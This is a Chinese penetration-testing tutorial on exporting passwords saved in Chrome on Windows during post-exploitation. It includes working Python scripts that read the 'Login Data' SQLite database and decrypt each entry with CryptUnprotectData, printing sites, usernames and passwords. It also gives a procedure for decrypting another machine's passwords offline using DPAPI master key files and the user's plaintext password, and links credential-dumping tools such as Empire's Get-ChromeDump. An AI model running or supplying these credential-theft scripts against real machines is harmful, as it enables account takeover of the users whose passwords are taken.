渗透技巧——导出Chrome浏览器中保存的密码

系统 Linux
在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。对于Windows系统,用户浏览器往往包含有价值的信息。

[[218784]]

0x00 前言

在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。对于Windows系统,用户浏览器往往包含有价值的信息。

在之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》曾介绍过利用LaZagne导出多个浏览器密码的方法。

本文将要针对Chrome浏览器,介绍具体的导出原理和利用方法,解决一个实际问题: 如何导出另一系统下Chrome浏览器中保存的密码?

0x01 简介

本文将要介绍以下内容:

  • Chrome浏览器保存密码的方式
  • 如何导出Chrome浏览器中保存的密码
  • 常用方法的限制
  • 如何导出另一系统下Chrome浏览器中保存的密码

0x02 Chrome浏览器保存密码的方式

正常用户在访问网站时,可选择使用Chrome浏览器保存登录的用户密码,用于下次登录的时候Chrome自动填写登录密码,如下图

在Chrome中可以查看保存的登录密码(需要提供用户口令),如下图

Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下:

  1. %LocalAppData%\Google\Chrome\User Data\Default\Login Data 

实际测试:

测试系统: Win7x86

Chrome版本: 63.0.3239.132

定位SQLite数据库文件,位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data

使用工具读取数据库文件,测试工具: SQLiteStudio

下载地址:

https://sqlitestudio.pl/index.rvt

注:

SQLiteStudio开源,特点是支持查看十六进制数据(SQLiteSpy不支持查看十六进制数据)

成功读取数据库文件保存的信息,但password段无法显示,如下图

选择Form view,查看十六进制格式,获得二次加密后的用户密码,如下图

注:

如果Chrome正在运行,无法使用SQLiteStudio打开数据库文件Login Data,可将该文件复制后再打开

0x03 导出Chrome浏览器中保存的密码

首先,编写程序实现读取SQLite数据库文件,这里选择使用python实现

开源代码很多,所以这里只给出一个示例

  1. from os import getenv 
  2. import sqlite3 
  3. import binascii 
  4. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data"
  5. cursor = conn.cursor() 
  6. cursor.execute('SELECT action_url, username_value, password_value FROM logins'
  7. for result in cursor.fetchall(): 
  8.     print (binascii.b2a_hex(result[2])) 

获得二次加密的用户密码,如下图

参考Chromium开源代码,找到Chrome做二次加密的方法: 通过Windows API CryptProtectData()实现

参考加密代码:

https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107

CryptProtectData()的说明可参考:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

获得关键信息:

(1)对应解密函数为CryptUnprotectData

参考地址:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

(2)只有与加密数据的用户具有相同登录凭据的用户才能解密数据

也就是说,只能在当前用户的凭据下解密数据

解密的开源代码也有很多,这里给出一个示例:

  1. from os import getenv 
  2. import sqlite3 
  3. import win32crypt 
  4. import binascii 
  5. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data"
  6. cursor = conn.cursor() 
  7. cursor.execute('SELECT action_url, username_value, password_value FROM logins'
  8. for result in cursor.fetchall(): 
  9.     password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 
  10.     print password 

注:

调用win32crypt.CryptUnprotectData需要安装pywin32

下载地址:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe

执行后,还原用户密码,如下图

[[218785]]

注:

如果Chrome正在运行,无法查询数据库文件Login Data,显示sqlite3.OperationalError: database is locked

综上,在实际导出的过程中,如果Chrome正在运行,需要先复制数据库文件,再尝试解密

0x04 如何导出另一系统下Chrome浏览器中保存的密码

参照CryptProtectData()的说明,地址如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

  • “Usually, the only user who can decrypt the data is a user with the 
  • same logon credentials as the user who encrypted the data.In addition, 
  • the encryption and decryption must be done on the same computer. “

是否可以断定,无法在另一系统下导出Chrome浏览器中保存的密码呢?

答案是否定的

Chrome密码还原工具chromepass提供了一个特别的功能: Reading ChromePass passwords from external drive

chromepass下载地址:

http://www.nirsoft.net/utils/chromepass.html

说明如下:

  • “you can also read the passwords stored by Chrome Web browser from an 
  • external profile in your current operating system or from another 
  • external drive”

也就是说,使用chromepass能够导出当前系统下另一用户的Chrome密码

操作界面如下图

既然如此,如果获得了另一系统下的相关配置文件,能否导出Chrome浏览器中保存的密码呢?

当然可以

解密需要获得三部分内容:

  1. 加密密钥,位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件 
  2. 数据库文件Login Data 
  3. 用户明文的密码,用于解密加密密钥 

由于chromepass程序的设计问题,以上文件需要组成特定格式,子目录格式如下:

  1. \AppData\Local\Google\Chrome\User Data\Default\Login Data 
  2. \AppData\Roaming\Microsoft\Protect{sid}}\下保存key文件 

注:

{sid}必须同原系统的对应

eg.

  1. \AppData\Local\Google\Chrome\User Data\Default\Login Data 
  2. \AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001\329c4147-0011-4ad6-829d-e32dcbd1bbd7 

如下图

使用chromepass选择该目录,填入用户明文密码,如下图

成功解密,如下图

0x05 开源工具

解密当前系统下Chrome浏览器中保存的密码,可供参考的工具:

1.命令行工具Chrome Password Dump,下载地址:

http://securityxploded.com/chrome-password-dump.php

2.powershell实现的工具:

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1

3.python实现代码,可供参考的开源代码:

  1. from os import getenv 
  2. import sqlite3 
  3. import win32crypt 
  4. import binascii 
  5. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data"
  6. cursor = conn.cursor() 
  7. cursor.execute('SELECT action_url, username_value, password_value FROM logins'
  8. for result in cursor.fetchall(): 
  9.     password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 
  10.     if password
  11.         print 'Site: ' + result[0] 
  12.         print 'Username: ' + result[1] 
  13.         print 'Password: ' + password 
  14.     else
  15.         print "no password found" 

0x06 小结

本文介绍了导出Chrome浏览器密码的原理和利用方法,成功解决一个实际问题: 通过加密密钥文件和用户明文密码,能够导出另一系统下Chrome浏览器中保存的密码

如果只获得了用户密码hash,能否导出呢?

 

责任编辑:武晓燕 来源: 博客园
相关推荐

2012-12-06 14:34:16

2017-02-08 14:30:08

Chrome密码浏览器

2019-02-15 15:15:59

ChromeJavascriptHtml

2016-03-10 09:56:41

2017-12-04 09:39:41

浏览器Chrome小技巧

2009-11-26 10:55:41

2023-08-11 07:36:10

2011-08-02 09:35:03

Chrome浏览器重定向

2015-01-21 15:45:50

斯巴达浏览器

2010-01-28 10:13:43

2011-11-11 10:35:04

2010-01-20 10:37:48

Chrome浏览器

2009-12-06 09:38:02

Chrome浏览器Avast

2009-03-07 09:57:41

Realplayer捆绑Chrome

2009-12-03 10:56:34

谷歌Chrome浏览器

2009-09-22 09:17:46

谷歌Chrome浏览器

2010-01-10 17:50:17

2012-08-08 09:18:47

Chrome浏览器

2013-11-13 15:54:20

Chrome 31浏览器

2009-07-17 09:16:20

Google Chro浏览器操作系统
点赞
收藏

51CTO技术栈公众号